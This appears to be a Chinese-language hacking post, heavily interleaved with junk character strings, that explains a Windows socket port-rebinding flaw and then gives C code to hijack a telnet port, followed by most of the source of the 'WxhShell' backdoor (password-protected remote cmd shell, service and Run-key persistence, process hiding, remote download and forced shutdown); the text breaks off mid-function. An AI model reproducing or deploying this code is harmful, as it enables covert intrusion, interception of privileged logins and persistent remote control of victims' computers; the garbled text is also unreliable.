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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: -l H>8+ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Rt^<xXX$
4|N\Q=, saddr.sin_family = AF_INET; o^Yspp vQ"s saddr.sin_addr.s_addr = htonl(INADDR_ANY); `8;,&<U'` hF"g91P bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); QO{=Wi- !y-2# 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 4;RCPC kLt9;<L 这意味着什么?意味着可以进行如下的攻击: -'[(Uzj k0_$M{@Y 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qQOD IzdTXc
f 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tRnW%F5 {Y91vXTz7 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 6@q[tN7_^ oL'1Gm@X? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 .3<IOtD= .l+~)$ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +}QBzGW` u=;nU(]M ' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !?o$-+a| ^YR|WK Y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 oD#>8Aw s kq~[k. #include rEyz|k: #include ncattp #include /%YiZ# #include D2</^]3Su DWORD WINAPI ClientThread(LPVOID lpParam); ;,=h59` int main() B>Cs&}Y! { `{U%[$<[W WORD wVersionRequested; Ae j DWORD ret; *Z`XG_ s5 WSADATA wsaData; $54=gRo^ BOOL val; cZr G:\A SOCKADDR_IN saddr; QW~5+c9JJ SOCKADDR_IN scaddr; "f|(@a int err; {(Og/[ SOCKET s; -nk#d%a\ SOCKET sc; ?,:#8.9 int caddsize; f[Fgh@4cj HANDLE mt; a,~D+s;^ DWORD tid; b>QM~mq3^I wVersionRequested = MAKEWORD( 2, 2 ); +Cf0Y2*@hM err = WSAStartup( wVersionRequested, &wsaData ); gf3U#L}P if ( err != 0 ) { mT6q}``vtG printf("error!WSAStartup failed!\n"); =0h|yjnL/ return -1; HX3D*2v": } U.RW4df%E saddr.sin_family = AF_INET; kz0I2!bt eb!s'@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =!(*5\IM mN\%fJ7 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T+;H#& saddr.sin_port = htons(23); aGB0-;.t7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) mA(nyF { EWb(uWC8h printf("error!socket failed!\n"); \[hn]@@ return -1; vZb|!#I } 5=Kq@[(4 val = TRUE; jq57C}X}2 //SO_REUSEADDR选项就是可以实现端口重绑定的 ]6{(Hjt if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) HKTeqH_: { -uA 3Y printf("error!setsockopt failed!\n"); -ca7x`yo return -1; =[]x\&@t } *wC\w //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ;w`sz. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 I %|@3=Yc //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 `FA)om kS B if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) {I0w`xe { ePp[m
zg6 ret=GetLastError(); SU%mmwES3 printf("error!bind failed!\n"); #V.ZdLo( return -1; PXw|
L } k"">2#V listen(s,2); I&L.;~ while(1) U^%9
)4bj { rO/a,vV caddsize = sizeof(scaddr); "^;#f+0 //接受连接请求 HLjvKE=W sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); $!!R:Wn/R if(sc!=INVALID_SOCKET) \U/v;Ijf { 9p<:=T mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [34zh="o if(mt==NULL) 1ZT^)/ G { Wrmgu}q printf("Thread Creat Failed!\n"); 3A-*vaySV break; "\}b!gl$8 } Q_ctX|. } a9[mZVMgUK CloseHandle(mt); i=oTg } _
XE;-weE closesocket(s); `-VG ?J WSACleanup(); XZ.7c{B< return 0; fO K|: } :qxm !P DWORD WINAPI ClientThread(LPVOID lpParam) RX:R*{]- { -Q6(+(7_| SOCKET ss = (SOCKET)lpParam; 9Ei5z6Vk/+ SOCKET sc; N99[.mErU unsigned char buf[4096]; ^_@r.y] SOCKADDR_IN saddr; =0,|/1~ long num; /@VsqD DWORD val; {'NBp0i DWORD ret; ^^%JoQ. //如果是隐藏端口应用的话,可以在此处加一些判断 /K7Bae5h //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 M~uMY+> saddr.sin_family = AF_INET; tKwn~T saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); J*5hf: ?i saddr.sin_port = htons(23); 14mf}"z\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >K\3*]>J3 { o&~dGG4J printf("error!socket failed!\n"); ;; :">@5 return -1; |2O')3p"9 } vX ?aB!nkw val = 100; _=pWG^a if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) KyT uF { iHPUmTus-- ret = GetLastError(); Z a!
gbt return -1; `19qq] } U_]=E<el if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) B`i$Wt<7 { j_p`Ng ret = GetLastError(); z)
:ka"e return -1; j1/+\8Y } Oukd_Ryf if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :$Q`>k7A { 1Pm4.C) printf("error!socket connect failed!\n"); V\0E=M*P closesocket(sc); yO00I`5 closesocket(ss); "?35C
! return -1; F%
`zs\ } E, GN| l while(1) Qlw>+y-i { 9TC)
w| //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Lbcy:E*g //如果是嗅探内容的话,可以再此处进行内容分析和记录 k@yh+ v5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,]ga[ num = recv(ss,buf,4096,0); =NadAyv if(num>0) ?-f,8Z|h send(sc,buf,num,0); /,!<Va;~ else if(num==0) Q^L)
Vp" break; 3f"C!l]Xu num = recv(sc,buf,4096,0); +
~"5! if(num>0) \/ErPi=g send(ss,buf,num,0); eIH$"f;L else if(num==0) 6#U^<` break; /'ZKS T4 } ow/U closesocket(ss); \8{\;L C closesocket(sc); 1c$vLo832 return 0 ; J/ vK6cO\ } nq1
'F 7tRi"\[5 <YH=3[ ========================================================== HJIC<U \|.7-X 下边附上一个代码,,WXhSHELL ,beS0U] QOH<]~3J ========================================================== Ke!'gohv X3',vey #include "stdafx.h" dxK9:IX iPvuz7j=h #include <stdio.h> (,B#t7ka #include <string.h> f"dSr
#include <windows.h> s3:9$.tiR[ #include <winsock2.h> O(c@PJem #include <winsvc.h> $5NKFJc #include <urlmon.h> py
@(
< RO.U(T #pragma comment (lib, "Ws2_32.lib") <F(><Xw,-4 #pragma comment (lib, "urlmon.lib") :Wc_Utt wksl0:BL #define MAX_USER 100 // 最大客户端连接数 :QPf~\w? #define BUF_SOCK 200 // sock buffer .XS9,/S #define KEY_BUFF 255 // 输入 buffer MLr-,
"gs ,$N#Us(Wa #define REBOOT 0 // 重启 `XJm=/f #define SHUTDOWN 1 // 关机 "j^MB)YD ]A^4}CK^< #define DEF_PORT 5000 // 监听端口 "hQgLG #$E)b:xj #define REG_LEN 16 // 注册表键长度 jo9gCP. #define SVC_LEN 80 // NT服务名长度 lyv4fP >P=Q #;v // 从dll定义API rzUlO5?R= typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); P6\6?am typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cE\>f8 I typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); !Ms[eB typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yCP4r6X0 /TV=$gB` // wxhshell配置信息 Dvc&RG struct WSCFG { e2cP
*J int ws_port; // 监听端口 6;iJ*2f5V char ws_passstr[REG_LEN]; // 口令 `XKVr int ws_autoins; // 安装标记, 1=yes 0=no x#*QfE/E(@ char ws_regname[REG_LEN]; // 注册表键名 iOCqE 5d3 char ws_svcname[REG_LEN]; // 服务名 ]PR#W_&q char ws_svcdisp[SVC_LEN]; // 服务显示名 vUesV%9hq char ws_svcdesc[SVC_LEN]; // 服务描述信息 _las;S'oa char ws_passmsg[SVC_LEN]; // 密码输入提示信息 H43MoC int ws_downexe; // 下载执行标记, 1=yes 0=no Zsx3/} char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ,R2U`EO; char ws_filenam[SVC_LEN]; // 下载后保存的文件名 LT VF8-v b~w=v_[(I }; t e,[f Y`BRh9Sa // default Wxhshell configuration }t%W1UJ struct WSCFG wscfg={DEF_PORT, lz<]5T| "xuhuanlingzhe", oM1Qh? 1, m@Rtlb "Wxhshell", y7)(LQRE
{ "Wxhshell", ]uQqn]+I! "WxhShell Service", mJ}opy!{; "Wrsky Windows CmdShell Service", =1.9/hW "Please Input Your Password: ", bt$)Xu<R 1, y*23$fj( " http://www.wrsky.com/wxhshell.exe", k{I01 "Wxhshell.exe" . (}1%22 }; CAD@XZSh y3G
`> // 消息定义模块 bZ1 78>J] char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; yuhnYR\`m char *msg_ws_prompt="\n\r? for help\n\r#>"; ~*W!mlg char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; SF*n1V3hx char *msg_ws_ext="\n\rExit."; 3W_PE+:Kr char *msg_ws_end="\n\rQuit."; 2RM+W2!! char *msg_ws_boot="\n\rReboot..."; _iV]_\0W2 char *msg_ws_poff="\n\rShutdown..."; `bjizS'^ char *msg_ws_down="\n\rSave to "; 0#cy=*E ,yd= e}lQx char *msg_ws_err="\n\rErr!"; _zWfI.o char *msg_ws_ok="\n\rOK!"; T0z n,ej \S~Vx!9w char ExeFile[MAX_PATH]; XB59Vm0E= int nUser = 0; !\Xm!I8 HANDLE handles[MAX_USER]; T r0B[QF int OsIsNt; 2L?!tBw?1 $~;D9 SERVICE_STATUS serviceStatus; -E"GX SERVICE_STATUS_HANDLE hServiceStatusHandle; /X'(3'a G 2!xPHz // 函数声明 fw6UhG int Install(void); /FP5`:PfL int Uninstall(void); ]X Z-o>+, int DownloadFile(char *sURL, SOCKET wsh); %zk$}}ti. int Boot(int flag); Y!J>U void HideProc(void); 7R!5,Js+ int GetOsVer(void); ??60,m:] int Wxhshell(SOCKET wsl); ={>Lrig:l void TalkWithClient(void *cs); $37
g]ZD int CmdShell(SOCKET sock); %ru;;h int StartFromService(void); ,\2:/>2 int StartWxhshell(LPSTR lpCmdLine);
Q6'x\ rgmF: C VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c(;a=n(E# VOID WINAPI NTServiceHandler( DWORD fdwControl ); DwHF[]v' ,Uhb // 数据结构和表定义 N-
H^lqD SERVICE_TABLE_ENTRY DispatchTable[] = l 'DsZ9y@2 { @f]{>OS {wscfg.ws_svcname, NTServiceMain}, A+J*e {NULL, NULL} _BdE<
!r }; 0sca4G0{ Bw%Qbs0Q // 自我安装 +5VLw int Install(void) QTX8
L { w@JKl5 char svExeFile[MAX_PATH]; U8qtwA9t HKEY key; LI2&&Mw strcpy(svExeFile,ExeFile); JM1R ;i6 D%6;^^WyUx // 如果是win9x系统,修改注册表设为自启动 GaX[C<Wt if(!OsIsNt) { g<{xC_J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )q7UxzE+ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m<FOu<y RegCloseKey(key); 8#!i[UFdj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5%sE]Y# RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2MZCw^s> RegCloseKey(key); Vq;dJ%sY return 0; 4vBL6!z:Z } ~.;<
Bj } ;JZS^Wa } yE[#ze else { sVG(N.y {ZY+L;eg1 // 如果是NT以上系统,安装为系统服务 P) 3mX.(} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .`>y@p! if (schSCManager!=0) [q !TIq { ^&y$Wd]6 SC_HANDLE schService = CreateService ,|&9M^ ( (=~&+z schSCManager, Xd^\@
wscfg.ws_svcname, .{y
uo{u wscfg.ws_svcdisp, KM^ufF2[ SERVICE_ALL_ACCESS, y~()|L[ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ")=X4]D SERVICE_AUTO_START, P#=`2a#G SERVICE_ERROR_NORMAL, 8 r_>t2$ svExeFile, lz1wO5%h NULL, "*G.EiLq NULL, mZd ,
9 NULL, Kq i4hK NULL, r@ZJ{4\Q NULL u\eEh*<7q ); e=O,B8)_ if (schService!=0) */|BpakD< { yj^+G CloseServiceHandle(schService); ~NW32
O)/ CloseServiceHandle(schSCManager); 3}e%[AKh strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); M)SEn/T- strcat(svExeFile,wscfg.ws_svcname); W.kM7z>G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6{txm+U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); itC-4^ RegCloseKey(key); )"pF R4 return 0; uu`G 2[t } S~|T4q( } @')[FEdW CloseServiceHandle(schSCManager); 9-MUX^?u } 7hsGu a } jy'13G/b\ ,cNLkoN return 1; KZ/=IP= } K'GBMnjD /~3r;M // 自我卸载 T?X_c"{8M int Uninstall(void) R=jI?p { x&0vKo; HKEY key; S\;V4@<Kn M3q|l7|9 if(!OsIsNt) { x)@G;nZ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w!D|]LoE RegDeleteValue(key,wscfg.ws_regname); 55z]&5N RegCloseKey(key); 9Q"'"b*?z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { >3Eo@J,?d RegDeleteValue(key,wscfg.ws_regname); I"GB<oB RegCloseKey(key); EVGt 5z return 0; +llR204 } !jTcsN% } Y=Kc'x[,Zj } 8SGo9[U2 else { &G-!qxe .X;3,D[w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /{&tY:;m if (schSCManager!=0) bD?VU<)3 { R~PA1wDZ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .hifsB~ if (schService!=0) Om5Y|v"* { s=;uc]9g if(DeleteService(schService)!=0) { h D/*h*}T> CloseServiceHandle(schService); nR-YrR*k CloseServiceHandle(schSCManager); -X"p:=;j return 0; }R{ts } \pVXimam CloseServiceHandle(schService); r4SXE\
G } #~
)IJ CloseServiceHandle(schSCManager); V{!J-nO } *+#8mA( } ,=[?yJy `9BROZnq return 1; o6uJyCO } ~GZY 5HF ):[7E(F= // 从指定url下载文件 o{y9r{~A int DownloadFile(char *sURL, SOCKET wsh) :0Rx#%u}# { E4M@WNPx HRESULT hr; t&AFUt\c char seps[]= "/"; V T\F]Oa# char *token; o%IA}e7PAa char *file; 6V7B;tB char myURL[MAX_PATH]; %yv<y+yP~ char myFILE[MAX_PATH]; ]d!
UJ&<? qm"rY\: strcpy(myURL,sURL); Q|#W#LV,K token=strtok(myURL,seps); _I:/ZF5 while(token!=NULL) kH
G"XTL { Gz,i~XX file=token; '/^qJ7eb token=strtok(NULL,seps);
zem8G2#c } +%ee8|\ pHLB = r GetCurrentDirectory(MAX_PATH,myFILE); z=q3Zo strcat(myFILE, "\\"); ;V *l.gr'2 strcat(myFILE, file); &m-PC(W+ send(wsh,myFILE,strlen(myFILE),0); wea-zN send(wsh,"...",3,0); Uq^#r iq hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >n'o*gZM if(hr==S_OK) l`#4KCL( return 0; `p2+&&]S else 9\_eK,*B return 1; _`&m\Qe> 1Q<^8N)pf } (k5We!4[1 K,+LG7ec // 系统电源模块 PQ5QA61 int Boot(int flag) bDL,S?@ { v0z5j6)-1 HANDLE hToken; a&/#X9/ TOKEN_PRIVILEGES tkp; WW4vn|0v /Z'L^L%R if(OsIsNt) { RP[{4Q8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B+\3-q LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); [>8}J" tkp.PrivilegeCount = 1; RJ 8+h tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <D<4BnZ( AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); a,
k'Vk{ if(flag==REBOOT) { G_bG if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) SUCMb8 return 0; [^Os kJ4 } WA)yfo0A else { l{I6&^!KS if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _=_Px@<Q return 0; :W!7mna } n.'8A(,r3 } Uc7mOa}4 else { 0m%|U'm|j if(flag==REBOOT) { JD)(oK%C if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >7lx=T
x return 0; `^u>9v-+' } & ?h#Z! else { IHam 4$~- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ~
{E'@MU return 0; $?Yry.2 } h`KFL/fT } &+Z,hs9% =5J7Hw&K return 1; M2PAy! J } /1"(cQ%? K{&mI/; // win9x进程隐藏模块 @Z*W void HideProc(void) Dd'm U { >.Chl$)< :o|\"3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); \w/yF4,3<w if ( hKernel != NULL ) AqWUwK9T { ^V ?<K.F pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >6NRi /[ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }Mst jm FreeLibrary(hKernel); }#L^! \V} } *@Lp`thq .Zn^Nw3 return; wT;0w3.Z } (}{G`N>.{ uD\?(LM // 获取操作系统版本 <v)1<*I int GetOsVer(void) [b6R% { 1pt%Kw*@j OSVERSIONINFO winfo; _wTOmz%|R winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); sPr~=,F GetVersionEx(&winfo); ?3nR if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CnpV:>V= return 1; *!q1Kr6r else C`$n[kCJ return 0; H\h3TdL } 1;C+$ 9KDEM gCW // 客户端句柄模块 QN
#U)wn: int Wxhshell(SOCKET wsl) K~AR*1??[ { (zgW%{V@ SOCKET wsh; O[I\A[* struct sockaddr_in client; ~<O7$~ DWORD myID; D ~stM V}J)\VZ2# while(nUser<MAX_USER) +1uF !G&l { U7K,AflK?M int nSize=sizeof(client); mtJ9nC wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Zo|.1pN if(wsh==INVALID_SOCKET) return 1; ruc++@J@ +b.g$CRr handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $CY~5A `l9 if(handles[nUser]==0) 43|XSyS closesocket(wsh); :# .<[ else |bq$xp nUser++; Gf,` } {{B%f. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (MR_^t d*jMZ%@uS return 0; 8 7BHq) } 6{"$nF] 6HZ` .o:f // 关闭 socket H=g`hF]` void CloseIt(SOCKET wsh) U>cV| { &^#VN%{ closesocket(wsh); /DK"QV!]s nUser--; +?:7O=Y ExitThread(0); /JHc! D } 7[> 6i qyF{f8pzq // 客户端请求句柄 vd[}Gd void TalkWithClient(void *cs) S<VSn}vn { gu0j.XS^ TM_/`a2} SOCKET wsh=(SOCKET)cs; [Jogt#Fj ] char pwd[SVC_LEN]; l5zS char cmd[KEY_BUFF]; *A"~m!= char chr[1]; {U1?Et# int i,j; Oy%''+g "t(p&;d while (nUser < MAX_USER) { znxnL,- (Dw,DY9 if(wscfg.ws_passstr) { [<%H>S1 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bmfI~8 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '
0J1vG~c //ZeroMemory(pwd,KEY_BUFF); lr`&mZ( j i=0; =&ks)MH- while(i<SVC_LEN) { Y2n!>[[. fI{&#~f4C // 设置超时 T
6)bD& fd_set FdRead; b{L/4bu struct timeval TimeOut; r:f[mk"-"A FD_ZERO(&FdRead); S-
pV_Ff FD_SET(wsh,&FdRead); K/i*w<aPb7 TimeOut.tv_sec=8; +av@$} TimeOut.tv_usec=0; ]xRM&=)< int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); E"qRw_
~t if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); QPx_- x=b7': nQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [N7{WSZ& pwd =chr[0]; 8u6:=fxb if(chr[0]==0xd || chr[0]==0xa) { /{+y2.{j pwd=0; 95 ;x=ju break; M?Dfu
.t } QZ6D7tUc8 i++; `A w^H! } =Je[c,&j$? #$18*?tLv| // 如果是非法用户,关闭 socket d:BG#\e]v if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )wC?T } uJzG|$; (s.0PO` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); qh9Z50E9 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sDPs
G5q< AL9chYP}/ while(1) { 6 :b!F TE3lK(f ZeroMemory(cmd,KEY_BUFF); 2bJQTk _S
''yB5#^w( // 自动支持客户端 telnet标准 $"+djI?E9 j=0; rDm~h~u5 while(j<KEY_BUFF) { Zq+v6fk_Mn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^q{9 cmd[j]=chr[0]; EK{Eo9l if(chr[0]==0xa || chr[0]==0xd) { uatm/o^~, cmd[j]=0; .nrMfl_ break; R%{<mno/_ } `=4r+ j++; cqQ#p2<% } HVi'eNgo
~ksi</s // 下载文件 |:nn>E}ZA/ if(strstr(cmd,"http://")) { Vr]id send(wsh,msg_ws_down,strlen(msg_ws_down),0); )(bW#- if(DownloadFile(cmd,wsh)) Sdp&jZY send(wsh,msg_ws_err,strlen(msg_ws_err),0); x-$&g*< else VJeu8ZJ. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |,S+@"0# } a!a-b~#cx else { T-.% }tRm] w switch(cmd[0]) { 2L3)#22m* /5S30 |K // 帮助 sd*p/Q|4 case '?': { `g(Y*uCp send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); U;YC}r break;
[$mHv,~ } /KFfU1 // 安装 <CS(c|7 case 'i': { l{5IUuUi if(Install()) qB5j;@r send(wsh,msg_ws_err,strlen(msg_ws_err),0); gqZ'$7So else y&6FybIz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `95r0t0hh\ break; abuh`H# } p*< 0"0 // 卸载 ASKf'\,dV case 'r': { `.E[}W if(Uninstall()) K*%9)hq send(wsh,msg_ws_err,strlen(msg_ws_err),0); PY{
G [ else .CL[_;} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /NLui@|R break; Z/W:97M } x3hB5p$q // 显示 wxhshell 所在路径 .!Oo|m`V@ case 'p': { R cAwrsd char svExeFile[MAX_PATH]; -)w@f~Q strcpy(svExeFile,"\n\r"); =m!-m\B/ strcat(svExeFile,ExeFile); Dt}JG6 S send(wsh,svExeFile,strlen(svExeFile),0); B-xGX$<z break; (/z_Q{"N } o2nv+fyW // 重启 qU+t/C. case 'b': { VrHv)lUr send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); m}C>ti`VD if(Boot(REBOOT)) ap.K=-H send(wsh,msg_ws_err,strlen(msg_ws_err),0); /$i.0$L
else { <NR#Y%}-V closesocket(wsh); bfFeBBi ExitThread(0); zZ7;jyD } b+%f+zz*h break; L9r8BK; } J*r*X. // 关机 -f3p U:G8 case 'd': { w{Ivmdto send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ^hG-~z< if(Boot(SHUTDOWN)) UvJ}b send(wsh,msg_ws_err,strlen(msg_ws_err),0); qz+dmef else { H['N closesocket(wsh); 'KP@W9j ExitThread(0); n&L+wqJ } 4;w;'3zq break; Dl<bnx;0 } @D.}\( // 获取shell lAS#874dE case 's': { 9Z|jxy CmdShell(wsh); rx'RSo#1O closesocket(wsh); Q!o'}nA ExitThread(0); -C;^3R[
O break; m!gz3u]rN } wVX[)E\J // 退出 9eGyyZg case 'x': { 4qO+_!x{) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6w*dKInG[- CloseIt(wsh); x/NfZ5e0X break; O(#)m>A } &T+atL `N // 离开 :yL] ;J case 'q': { ed]=\Key send(wsh,msg_ws_end,strlen(msg_ws_end),0); i@C].X closesocket(wsh); ]}Mj)J" m WSACleanup(); US+Q~GTA exit(1); 'vVQg break; bENdMH"; } (lXGmx8 } S{Kiy#ltWc } 61Bwb]\f/| }d[ kxo // 提示信息 bbtGXfI+SB if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )YYf1o[+ } )#EGTRdo } g%ndvdb m yd^{tQi return; +@A } Rvkedb ^T( .k= // shell模块句柄 T%x}Y#U'` int CmdShell(SOCKET sock) |Z|-q"Rf { |+"<wEKI STARTUPINFO si; niiA7Ux ZeroMemory(&si,sizeof(si)); ySk R>y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sz5MH!/PJ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5Iy|BRU(% PROCESS_INFORMATION ProcessInfo; 2n,*Nd` char cmdline[]="cmd"; ~De"? CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +s"hqm return 0; ,QOG!T4 } +cD<:"L'g Qn^' // 自身启动模式 dl.N.P7}4 int StartFromService(void) dah[:rP,n{ { mH54ja2 typedef struct 5 z~1Dw { __lM7LFL DWORD ExitStatus; V("{)0~O DWORD PebBaseAddress; T!-\@PB ! DWORD AffinityMask; y>R=`A1b DWORD BasePriority; 4qN{n#{+] ULONG UniqueProcessId; Rh3eLt~|( ULONG InheritedFromUniqueProcessId; }elc `jj } PROCESS_BASIC_INFORMATION; ~<P
0]ju \(~y? l PROCNTQSIP NtQueryInformationProcess; v:EB*3n5 :Gv1?M static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~fBtQGdX static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; WKQ^NEqr3 =Ee&da^MB HANDLE hProcess; ~{?_p@&n PROCESS_BASIC_INFORMATION pbi; /Y*WBTV' 7@#>bE6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); S_iMVHe if(NULL == hInst ) return 0; )r';lGh2# "C?#SO
